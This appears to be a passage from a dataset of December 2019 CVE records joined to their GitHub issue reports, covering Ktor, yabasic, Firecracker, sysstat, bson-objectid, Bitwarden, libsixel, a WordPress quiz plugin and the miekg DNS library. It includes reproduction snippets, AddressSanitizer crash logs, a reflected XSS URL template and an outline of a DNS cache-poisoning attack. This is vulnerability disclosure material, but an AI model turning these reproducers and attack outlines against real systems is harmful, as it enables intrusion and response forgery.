Soon after, the web application will become unresponsive, showing the following error message
The worst-case scenario is that the concurrent processes will consume all RAM on the hosting server.
Attached is a portion of the [mail.logs](https://github.com/modoboa/modoboa-dmarc/files/3944430/mail.log) written during this attack.
<h2> Remediation </h2>
Use a XML parser with entity expansion disabled. Please refer to this [guideline](https://lxml.de/FAQ.html#how-do-i-use-lxml-safely-as-a-web-service-endpoint).
|
XML External Entity (XXE) Injection during import of aggregated report
|
https://api.github.com/repos/modoboa/modoboa-dmarc/issues/38/comments
| 3
|
2019-11-25T22:32:21Z
|
2020-03-02T08:35:57Z
|
https://github.com/modoboa/modoboa-dmarc/issues/38
| 528,376,022
| 38
| 882
|
CVE-2019-19703
|
2019-12-10T20:15:17.577
|
In Ktor through 1.2.6, the client resends data from the HTTP Authorization header to a redirect location.
|
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}
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|
[
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"Issue Tracking",
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}
] |
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[
"601"
] |
601
|
https://github.com/ktorio/ktor/issues/1467
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"ktorio",
"ktor"
] |
**Ktor Version and Engine Used**
Ktor HTTP client 1.2.5 with Apache engine.
**Describe the bug**
Enable `followRedirects` for http client and send request with auth data to the host `https://foo/redirect` which redirects to the host `https://bar` with auth data from host `foo`.
**To Reproduce**
Steps to reproduce the behavior:
```
HttpClient(Apache) {
followRedirects = true
}.use { httpClient ->
httpClient.get<HttpResponse>("https://foo/redirect") {
basicAuthorization("login", "***")
}
}
```
Actual result: `Authorization` header data is leaked to the host `https://bar`.
**Expected behavior**
The `Authorization` header from original request to the host `foo` is cleared before establishing redirect request to the host `bar`. It's a good security practice.
**Comment**
It could be solved by cleaning the `Authorization` header in the `HttpRedirect` feature:
https://github.com/ktorio/ktor/blob/master/ktor-client/ktor-client-core/common/src/io/ktor/client/features/HttpRedirect.kt#L39
|
Ktor client resends auth data to redirect location
|
https://api.github.com/repos/ktorio/ktor/issues/1467/comments
| 1
|
2019-11-29T11:37:32Z
|
2019-12-11T13:09:36Z
|
https://github.com/ktorio/ktor/issues/1467
| 530,301,344
| 1,467
| 883
|
CVE-2019-19720
|
2019-12-11T04:15:10.667
|
Yabasic 2.86.1 has a heap-based buffer overflow in the yylex() function in flex.c via a crafted BASIC source file.
|
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"scope": "UNCHANGED",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
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"type": "Primary"
}
],
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}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Release Notes",
"Vendor Advisory"
],
"url": "http://www.yabasic.de/whatsnew.html"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
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787
|
https://github.com/marcIhm/yabasic/issues/36
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"marcIhm",
"yabasic"
] |
Hi,
While fuzzing yabasic 2.86.1 with Honggfuzz, I found a heap-based buffer overflow in the yylex() function, in flex.c.
Attaching a reproducer (gzipped so GitHub accepts it): [test01.yab.gz](https://github.com/marcIhm/yabasic/files/3944942/test01.yab.gz)
Issue can be reproduced by running:
```
yabasic test01.yab
```
```
=================================================================
==20945==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000223 at pc 0x0000005a1a77 bp 0x7ffd03025cb0 sp 0x7ffd03025ca8
WRITE of size 1 at 0x603000000223 thread T0
#0 0x5a1a76 in yylex /home/fcambus/yabasic-2.86.1/flex.c:3100:27
#1 0x5aad98 in yyparse /home/fcambus/yabasic-2.86.1/bison.c:3338:16
#2 0x4f9497 in main /home/fcambus/yabasic-2.86.1/main.c:293:6
#3 0x7f5abf9cab6a in __libc_start_main /build/glibc-KRRWSm/glibc-2.29/csu/../csu/libc-start.c:308:16
#4 0x41da49 in _start (/home/fcambus/yabasic-2.86.1/yabasic+0x41da49)
Address 0x603000000223 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fcambus/yabasic-2.86.1/flex.c:3100:27 in yylex
Shadow bytes around the buggy address:
0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c067fff8000: fa fa 00 00 00 07 fa fa 00 00 00 04 fa fa 00 00
0x0c067fff8010: 00 fa fa fa fd fd fd fa fa fa 00 00 00 fa fa fa
0x0c067fff8020: fd fd fd fa fa fa 00 00 00 fa fa fa 00 00 00 fa
0x0c067fff8030: fa fa 00 00 01 fa fa fa 00 00 00 05 fa fa fa fa
=>0x0c067fff8040: fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c067fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==20945==ABORTING
```
|
Heap-based buffer overflow in the yylex() function
|
https://api.github.com/repos/marcIhm/yabasic/issues/36/comments
| 5
|
2019-12-10T13:08:41Z
|
2019-12-15T18:10:35Z
|
https://github.com/marcIhm/yabasic/issues/36
| 535,719,373
| 36
| 884
|
CVE-2019-18960
|
2019-12-11T13:15:11.827
|
Firecracker vsock implementation buffer overflow in versions 0.18.0 and 0.19.0. This can result in potentially exploitable crashes.
|
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[
{
"source": "cve@mitre.org",
"tags": [
"Mailing List",
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] |
120
|
https://github.com/firecracker-microvm/firecracker/issues/1462
|
[
"Third Party Advisory"
] |
github.com
|
[
"firecracker-microvm",
"firecracker"
] |
We have identified an issue in the Firecracker v0.18.0 and v0.19.0 vsock implementation.
### Issue Description
A logical error in bounds checking performed on vsock virtio descriptors can be used by a malicious guest to read from and write to a segment of the host-side Firecracker process' heap address space, directly after the end of a guest memory region. For reads, the accessible segment's size is 64 KiB. For writes, the accessible segment is limited by the host Linux kernel to a size defined in `/proc/sys/net/core/rmem_max`. We expect the value of `rmem_max` to be on the order of a few hundred KiB to a few MiB.
### Impact
This will generally result in a segmentation fault, but remote code execution within the Firecracker host-side process context cannot be ruled out.
### Vulnerable Systems
Only Firecracker v0.18.0 and v0.19.0 are affected. Only Firecracker microVMs with configured vsock devices are affected, and only if one or more vsock devices are in active use by both host and guest.
In a remote code execution scenario, users running Firecracker in line with the recommended Production Host Setup will see the impact limited as follows: a malicious microVM guest that would manage to compromise the Firecracker VMM process would be restricted to running on the host as an unprivileged user, in a chroot and mount namespace isolated from the host's filesystem, in a separate pid namespace, in a separate network namespace, with system calls limited to Firecracker's seccomp whitelist, on a single NUMA node, and on a cgroups-limited number of CPU cores.
### Mitigation
Firecracker v0.18.1 [1] and Firecracker v0.19.1 [2], released on 2019-12-09, addresses this issue. The fix has also been applied to Firecracker's master branch.
If you are using Firecracker v0.18.0 or v0.19.0, we recommend you update to v0.18.1 or v0.19.1 as soon as possible. If you are using Firecracker v0.17.0 or below, you do not need to take any action.
In a remote code execution scenario, users running Firecracker in line with the recommended Production Host Setup will limit the impact to the attacker's Firecracker process.
[1] https://github.com/firecracker-microvm/firecracker/releases/tag/v0.18.1
[2] https://github.com/firecracker-microvm/firecracker/releases/tag/v0.19.1
|
Firecracker vsock implementation buffer overflow in versions v0.18.0 and v0.19.0 that can result in potentially exploitable crashes.
|
https://api.github.com/repos/firecracker-microvm/firecracker/issues/1462/comments
| 1
|
2019-12-09T22:22:37Z
|
2019-12-12T11:07:18Z
|
https://github.com/firecracker-microvm/firecracker/issues/1462
| 535,373,916
| 1,462
| 885
|
CVE-2019-19725
|
2019-12-11T18:16:20.053
|
sysstat through 12.2.0 has a double free in check_file_actlst in sa_common.c.
|
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[
"415"
] |
415
|
https://github.com/sysstat/sysstat/issues/242
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"sysstat",
"sysstat"
] |
When I run a sadf utility with [the stat file](https://gist.github.com/RKX1209/b962907a46d5f8b11d456b69008d0118/raw/89d4b9c53a9248bf5dad71d8fff21c1306d9145c/dfree_sysstat.in), it leads double free bug in check_file_actlst().
```
$ ./sadf dfree_sysstat.in
skip_extra_struct: extra_size=0 types=0,16777216,128
=================================================================
==25128==ERROR: AddressSanitizer: attempting double-free on 0x60b000000250 in thread T0:
#0 0x7f83c49ab7b8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8)
#1 0x55cc66ccab45 in check_file_actlst ~/sysstat/sa_common.c:2198
#2 0x55cc66c4e3aa in read_stats_from_file ~/sysstat/sadf.c:1453
#3 0x55cc66c474f7 in main ~/sysstat/sadf.c:1883
#4 0x7f83c44fdb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#5 0x55cc66c48ad9 in _start (~/sysstat/sadf+0x27ad9)
0x60b000000250 is located 0 bytes inside of 100-byte region [0x60b000000250,0x60b0000002b4)
freed by thread T0 here:
#0 0x7f83c49ab7b8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8)
#1 0x55cc66cca6b1 in check_file_actlst ~/sysstat/sa_common.c:2155
previously allocated by thread T0 here:
#0 0x7f83c49abf40 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef40)
#1 0x55cc66cc9f05 in check_file_actlst ~/sysstat/sa_common.c:2030
SUMMARY: AddressSanitizer: double-free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7b8) in __interceptor_free
==25128==ABORTING
```
If skip_extra_struct fails at [this line](https://github.com/sysstat/sysstat/blob/770e7a59ca8ca7befdbe4ed22800b94d7308e1ce/sa_common.c#L2191), read_stats_from_file falls into **format_error:** label and try to free buffer [here](
https://github.com/sysstat/sysstat/blob/770e7a59ca8ca7befdbe4ed22800b94d7308e1ce/sa_common.c#L2198).
However buffer has been already freed [before](https://github.com/sysstat/sysstat/blob/770e7a59ca8ca7befdbe4ed22800b94d7308e1ce/sa_common.c#L2198), causes **double free bug**.
Thanks
|
Double free in check_file_actlst()
|
https://api.github.com/repos/sysstat/sysstat/issues/242/comments
| 1
|
2019-12-09T09:54:32Z
|
2019-12-09T16:55:34Z
|
https://github.com/sysstat/sysstat/issues/242
| 534,812,824
| 242
| 886
|
CVE-2019-19729
|
2019-12-11T20:15:11.100
|
An issue was discovered in the BSON ObjectID (aka bson-objectid) package 1.3.0 for Node.js. ObjectID() allows an attacker to generate a malformed objectid by inserting an additional property to the user-input, because bson-objectid will return early if it detects _bsontype==ObjectID in the user-input object. As a result, objects in arbitrary forms can bypass formatting if they have a valid bsontype.
|
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}
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|
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},
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"Product"
],
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},
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"Third Party Advisory"
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},
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"670"
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670
|
https://github.com/williamkapke/bson-objectid/issues/30
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"williamkapke",
"bson-objectid"
] |
We found that ObjectID() allows an attacker to generate a malformed objectid by inserting an additional property to his user-input.
The vulnerable code is as follows: bson-objectid will return early if it detects _bsontype == ObjectID in user-input object. As a result, objects in arbitrary forms can bypass formatting if they have a valid bsontype.
https://github.com/williamkapke/bson-objectid/blob/eaaf20d828974c1a2b8e07b522b1ebdc86672f41/objectid.js#L29-L32
Unlike bson-objectid, the official implementation (shown in the following code) enforces a stricter early return condition, i.e., only if the constructor of the user-input object is ObjectID.
https://github.com/mongodb/js-bson/blob/cea186763527e4d3749a8234d335e9c395effe5b/lib/objectid.js#L59-L61
Reproduce script
```
var ObjectID = require("bson-objectid");
var json = {
"mal_formkey": {
"payload": "xxxx"
},
"_bsontype" : "ObjectID"
};
console.log(ObjectID(json));
console.log(ObjectID.isValid(ObjectID(json)));
```
|
A vulnerability in ObjectID()
|
https://api.github.com/repos/cabinjs/bson-objectid/issues/30/comments
| 11
|
2019-12-07T21:03:35Z
|
2020-11-23T14:22:38Z
|
https://github.com/cabinjs/bson-objectid/issues/30
| 534,452,549
| 30
| 887
|
CVE-2019-19766
|
2019-12-12T19:15:21.030
|
The Bitwarden server through 1.32.0 has a potentially unwanted KDF.
|
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}
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"url": "https://github.com/bitwarden/server/issues/589"
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916
|
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|
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github.com
|
[
"bitwarden",
"jslib"
] |
https://github.com/bitwarden/jslib/blob/cd46f64993545a1cb772e2f6a2137a675554f3c3/src/enums/kdfType.ts
It looks like the only supported choice for a PBKDF is SHA256. This is possibly the worst choice available for a password-based KDF, as a PBKDF should be relatively slow, and SHA256 is perhaps practically the fastest hash function on earth due to optimizations made for Bitcoin (e.g. cheap ASICs and suchlike). Even iterated, it's way too fast, and only getting faster.
I was evaluating Bitwarden as a potential replacement for Dashlane (Dashlane sucks) but this is a real non-starter for me. Please up your KDF game. It's 2019.
Additional reading:
https://medium.com/@mpreziuso/password-hashing-pbkdf2-scrypt-bcrypt-and-argon2-e25aaf41598e
https://medium.com/@mpreziuso/password-hashing-pbkdf2-scrypt-bcrypt-1ef4bb9c19b3
TL;DR: Use Argon2. https://www.npmjs.com/package/argon2
|
SHA256 is a terrible choice for a PBKDF in 2019.
|
https://api.github.com/repos/bitwarden/jslib/issues/52/comments
| 34
|
2019-10-31T14:31:41Z
|
2022-04-12T19:52:10Z
|
https://github.com/bitwarden/jslib/issues/52
| 515,480,136
| 52
| 889
|
CVE-2019-19766
|
2019-12-12T19:15:21.030
|
The Bitwarden server through 1.32.0 has a potentially unwanted KDF.
|
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916
|
https://github.com/bitwarden/server/issues/589
|
[
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github.com
|
[
"bitwarden",
"server"
] |
https://github.com/bitwarden/server/blob/da5c385d4af3cb6707b473cf89963c190a6e44f9/src/Core/Models/Api/Request/Accounts/KdfRequestModel.cs#L22
From https://github.com/bitwarden/jslib/issues/52 :
> However, that workaround is specifically prohibited by Bitwarden, restricting it to 2M iterations. Modern SHA256 hardware can do 22,200,000,000 hashes per watt-second, so a single unit operating at 1000W can bruteforce 11,100,000 passwords per second with the maximum iteration count allowed. The default iteration count is much less, allowing for practical and efficient dictionary attacks with hardware.
|
Security Issue: KDF max iterations is too low
|
https://api.github.com/repos/bitwarden/server/issues/589/comments
| 31
|
2019-11-01T13:55:38Z
|
2023-01-31T08:01:13Z
|
https://github.com/bitwarden/server/issues/589
| 516,127,468
| 589
| 890
|
CVE-2019-19777
|
2019-12-13T02:15:10.893
|
stb_image.h (aka the stb image loader) 2.23, as used in libsixel and other products, has a heap-based buffer over-read in stbi__load_main.
|
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"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
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https://github.com/saitoha/libsixel/issues/109
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"saitoha",
"libsixel"
] |
version : img2sixel 1.8.2
There is a heap-buffer-overflow in stbi__load_main at stb_image.h:5580
please run following cmd to reproduce it.
```
img2sixel --monochrome $PoC
```
[poc](https://drive.google.com/file/d/1KHIYy8gfuMFHKVyb_dpOPVKSpPVeikUK/view?usp=sharing)
ASAN LOG
```
==9030==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000004df1 at pc 0x0000004d90f2 bp 0x7ffc27974b30 sp 0x7ffc279742e0
READ of size 3 at 0x602000004df1 thread T0
#0 0x4d90f1 in __asan_memcpy (/home/tmp/img2sixel+0x4d90f1)
#1 0x7f3daf9e5623 in stbi__load_main /home/tmp/libsixel/src/./stb_image.h:5580:31
#2 0x7f3daf938f1b in stbi__load_and_postprocess_8bit /home/tmp/libsixel/src/./stb_image.h:1090:19
#3 0x7f3daf9877e7 in load_with_builtin /home/tmp/libsixel/src/loader.c:882:25
#4 0x7f3daf9877e7 in sixel_helper_load_image_file /home/tmp/libsixel/src/loader.c:1352
#5 0x7f3dafbd0d4f in sixel_encoder_encode /home/tmp/libsixel/src/encoder.c:1737:14
#6 0x51787f in main /home/tmp/libsixel/converters/img2sixel.c:457:22
#7 0x7f3dadf33b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#8 0x41a379 in _start (/home/tmp/img2sixel+0x41a379)
0x602000004df1 is located 0 bytes to the right of 1-byte region [0x602000004df0,0x602000004df1)
allocated by thread T0 here:
#0 0x4da230 in __interceptor_malloc (/home/tmp/img2sixel+0x4da230)
#1 0x7f3daf9e205a in stbi_malloc /home/tmp/libsixel/src/loader.c:76:12
#2 0x7f3daf9e205a in stbi__malloc /home/tmp/libsixel/src/./stb_image.h:859
#3 0x7f3daf9e205a in stbi__malloc_mad2 /home/tmp/libsixel/src/./stb_image.h:920
#4 0x7f3daf9e205a in stbi__tga_load /home/tmp/libsixel/src/./stb_image.h:5527
#5 0x7f3daf9e205a in stbi__load_main /home/tmp/libsixel/src/./stb_image.h:1011
#6 0x7f3daf938f1b in stbi__load_and_postprocess_8bit /home/tmp/libsixel/src/./stb_image.h:1090:19
#7 0x7f3daf9877e7 in load_with_builtin /home/tmp/libsixel/src/loader.c:882:25
#8 0x7f3daf9877e7 in sixel_helper_load_image_file /home/tmp/libsixel/src/loader.c:1352
#9 0x7f3dafbd0d4f in sixel_encoder_encode /home/tmp/libsixel/src/encoder.c:1737:14
#10 0x51787f in main /home/tmp/libsixel/converters/img2sixel.c:457:22
#11 0x7f3dadf33b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/tmp/img2sixel+0x4d90f1) in __asan_memcpy
Shadow bytes around the buggy address:
0x0c047fff8960: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8970: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8980: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff8990: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff89a0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
=>0x0c047fff89b0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa[01]fa
0x0c047fff89c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff89d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff89e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff89f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==9030==ABORTING
```
|
heap-buffer-overflow in stbi__load_main at stb_image.h:5580
|
https://api.github.com/repos/saitoha/libsixel/issues/109/comments
| 3
|
2019-12-12T14:03:22Z
|
2019-12-18T05:20:36Z
|
https://github.com/saitoha/libsixel/issues/109
| 536,997,354
| 109
| 891
|
CVE-2019-19778
|
2019-12-13T02:15:10.940
|
An issue was discovered in libsixel 1.8.2. There is a heap-based buffer over-read in the function load_sixel at loader.c.
|
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125
|
https://github.com/saitoha/libsixel/issues/110
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"saitoha",
"libsixel"
] |
version : img2sixel 1.8.2
There is a heap-buffer-overflow in load_sixel at loader.c:629
please run following cmd to reproduce it.
```
img2sixel --high-color $PoC
```
[poc](https://drive.google.com/file/d/1siMEF20AcBJhV_RDuNrgnHZz5EvYlGMT/view?usp=sharing)
ASAN LOG
```
==36913==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000054d at pc 0x7fb5cf29ac7d bp 0x7ffc97cfe350 sp 0x7ffc97cfe348
READ of size 1 at 0x60400000054d thread T0
#0 0x7fb5cf29ac7c in load_sixel /home/tmp/libsixel/src/loader.c:629:36
#1 0x7fb5cf29ac7c in load_with_builtin /home/tmp/libsixel/src/loader.c:782
#2 0x7fb5cf29ac7c in sixel_helper_load_image_file /home/tmp/libsixel/src/loader.c:1352
#3 0x7fb5cf4d8d4f in sixel_encoder_encode /home/tmp/libsixel/src/encoder.c:1737:14
#4 0x51787f in main /home/tmp/libsixel/converters/img2sixel.c:457:22
#5 0x7fb5cd83bb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x41a379 in _start (/home/tmp/img2sixel+0x41a379)
Address 0x60400000054d is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/tmp/libsixel/src/loader.c:629:36 in load_sixel
Shadow bytes around the buggy address:
0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c087fff80a0: fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa fa
0x0c087fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==36913==ABORTING
```
|
heap-buffer-overflow in load_sixel at loader.c:629
|
https://api.github.com/repos/saitoha/libsixel/issues/110/comments
| 2
|
2019-12-12T15:11:41Z
|
2019-12-15T15:40:23Z
|
https://github.com/saitoha/libsixel/issues/110
| 537,037,845
| 110
| 892
|
CVE-2019-17599
|
2019-12-13T14:15:12.297
|
The quiz-master-next (aka Quiz And Survey Master) plugin before 6.3.5 for WordPress is affected by: Cross Site Scripting (XSS). The impact is: Allows an attacker to execute arbitrary HTML and JavaScript code via the from or till parameter (and/or the quiz_id parameter). The component is: admin/quiz-options-page.php. The attack vector is: When the Administrator is logged in, a reflected XSS may execute upon a click on a malicious URL.
|
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"baseSeverity": "MEDIUM",
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N",
"version": "2.0"
},
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"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
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"source": "nvd@nist.gov",
"type": "Primary"
}
],
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}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/QuizandSurveyMaster/quiz_master_next/issues/795"
},
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/QuizandSurveyMaster/quiz_master_next/pull/796"
},
{
"source": "cve@mitre.org",
"tags": [
"Release Notes"
],
"url": "https://wordpress.org/plugins/quiz-master-next/#developers"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://wpvulndb.com/vulnerabilities/9977"
},
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"tags": [
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"Third Party Advisory"
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"url": "https://wpvulndb.com/vulnerabilities/9977"
}
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79
|
https://github.com/QuizandSurveyMaster/quiz_master_next/issues/795
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"QuizandSurveyMaster",
"quiz_master_next"
] |
**IF YOU DO NOT FOLLOW THIS TEMPLATE, YOUR ISSUE MAY BE CLOSED!!**
Please provide the following information when creating your issues:
## Site Info
WordPress Version: Latest
QSM Version: 6.3.3 and 6.3.4
Browser: chrome 78.0.3904.87
## General description
Quiz And Survey Master – Best Quiz Plugin for WordPress for WordPress is affected by: Cross Site Scripting (XSS). The impact is: Allows an attacker to execute arbitrary HTML and JavaScript code via the from or till parameter. The component is: /quiz-master-next/php/admin/quiz-options-page.php:162. The attack vector is: When the Administrator is logged in, a reflected XSS may execute upon a click on a malicious URL.
special conditions must be met in order to exploit this vulnerability:
The wordpress security feature wp_magic_quotes(), which is enabled by default, has to be disabled.
Vulnerable code : /quiz-master-next/php/admin/quiz-options-page.php:162
```
161 <input type="text" id="edit_quiz_name" name="edit_quiz_name" value="<?php echo $quiz_name; ?>" />
162 <input type="hidden" id="edit_quiz_id" name="edit_quiz_id" value="<?php echo isset($_GET['quiz_id']) ? $_GET['quiz_id'] : ''; ?>" />
163 <?php wp_nonce_field( 'qsm_edit_name_quiz', 'qsm_edit_name_quiz_nonce' ); ?>
164 </form>
```
$_GET['quiz_id'] <= need to prevent escape.
## Expected behavior
nothing.
## Actual behavior
reflected XSS, victim may click the malicious url. (Administrator must be logged in.)
## Steps to reproduce the behavior
```
https://domain.tld/wp-admin/admin.php?page=mlw_quiz_options&quiz_id=<PAYLOAD>
```
|
report reflected xss vulnerability
|
https://api.github.com/repos/QuizandSurveyMaster/quiz_master_next/issues/795/comments
| 4
|
2019-11-13T07:45:25Z
|
2019-11-21T08:42:20Z
|
https://github.com/QuizandSurveyMaster/quiz_master_next/issues/795
| 522,018,302
| 795
| 893
|
CVE-2019-19794
|
2019-12-13T22:15:11.357
|
The miekg Go DNS package before 1.1.25, as used in CoreDNS before 1.6.6 and other products, improperly generates random numbers because math/rand is used. The TXID becomes predictable, leading to response forgeries.
|
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github.com
|
[
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This issue is to keep track of 1.6.6 release. Specifically we want to update the https://github.com/miekg/dns that carries https://github.com/miekg/dns/pull/1044
/cc @miekg
|
CoreDNS 1.6.6 Release Tracking
|
https://api.github.com/repos/coredns/coredns/issues/3519/comments
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2019-12-08T16:31:44Z
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2019-12-13T11:28:31Z
|
https://github.com/coredns/coredns/issues/3519
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| 894
|
CVE-2019-19794
|
2019-12-13T22:15:11.357
|
The miekg Go DNS package before 1.1.25, as used in CoreDNS before 1.6.6 and other products, improperly generates random numbers because math/rand is used. The TXID becomes predictable, leading to response forgeries.
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github.com
|
[
"coredns",
"coredns"
] |
This is a public announcement of a security vulnerability discovered in earlier versions of CoreDNS before v1.6.6:
https://nvd.nist.gov/vuln/detail/CVE-2019-19794
As was mentioned in CVE-2019-19794, one of the upstream library miekg/dns used Golang's `math/rand`. This causes predictable TXID and may allow cache poisoning (See https://github.com/miekg/dns/issues/1043 for details).
CoreDNS was impacted by this upstream vulnerability.
The latest release of CoreDNS v1.6.6 fixes this issue. We encourage all CoreDNS users to update to v1.6.6+ as soon as possible.
The issue was discovered by @FiloSottile, we very much appreciate his contributions! 👍
This issue will keep open for a couple of weeks or so, so that it is visible to public.
|
[Security] CVE-2019-19794
|
https://api.github.com/repos/coredns/coredns/issues/3547/comments
| 9
|
2019-12-16T21:18:11Z
|
2020-01-03T22:00:35Z
|
https://github.com/coredns/coredns/issues/3547
| 538,665,274
| 3,547
| 895
|
CVE-2019-19794
|
2019-12-13T22:15:11.357
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The miekg Go DNS package before 1.1.25, as used in CoreDNS before 1.6.6 and other products, improperly generates random numbers because math/rand is used. The TXID becomes predictable, leading to response forgeries.
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|
[
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The default `Id` function uses math/rand, meaning the outputs are predictable, and an attacker might be able to use this to forge responses without being on path.
Seeding math/rand from crypto/rand is pointless, as the math/rand algorithm is invertible: given a sequence of outputs it's possible to reconstruct the `Rand` state and predict all future outputs. Exploitation might be a little slower because the outputs are just 16 bits, but it's likely to be possible.
Unless 0x20 or DNSSEC are used, response verification relies only on source port and TXID. They are both short, but the combination usually makes it hard for an off-path attacker to win the race against the real answer. Without the TXID, the attacker has a very good chance of success at a Kaminsky Attack.
A couple example scenarios:
* A DNS cache — the attacker makes a sequence of requests to get enough TXIDs to reverse the internal state of the RNG, then it causes a request to be issued by the cache to an upstream server, and knowing the TXID sends a spoofed answer to every port, poisoning the cache.
* A prober with an API, like say Let's Encrypt — the attacker causes a number of requests to its own domain to observe TXIDs, then causes a lookup for a target domain, and spoofs the response.
Since the performance cost seems negligible (#1037), I recommend doing the secure thing by default and just reading the 2 bytes from crypto/rand. If there are performance problems, just using a `bufio.Reader` should solve them, as most of the cost of crypto/rand is syscall overhead.
Filing publicly as asked by @miekg.
|
[security] Predictable TXID can lead to response forgeries
|
https://api.github.com/repos/miekg/dns/issues/1043/comments
| 1
|
2019-12-05T19:08:46Z
|
2019-12-11T07:31:10Z
|
https://github.com/miekg/dns/issues/1043
| 533,538,848
| 1,043
| 896
|
CVE-2019-19795
|
2019-12-13T22:15:11.437
|
samurai 0.7 has a heap-based buffer overflow in canonpath in util.c via a crafted build file.
|
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[
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] |
Hi,
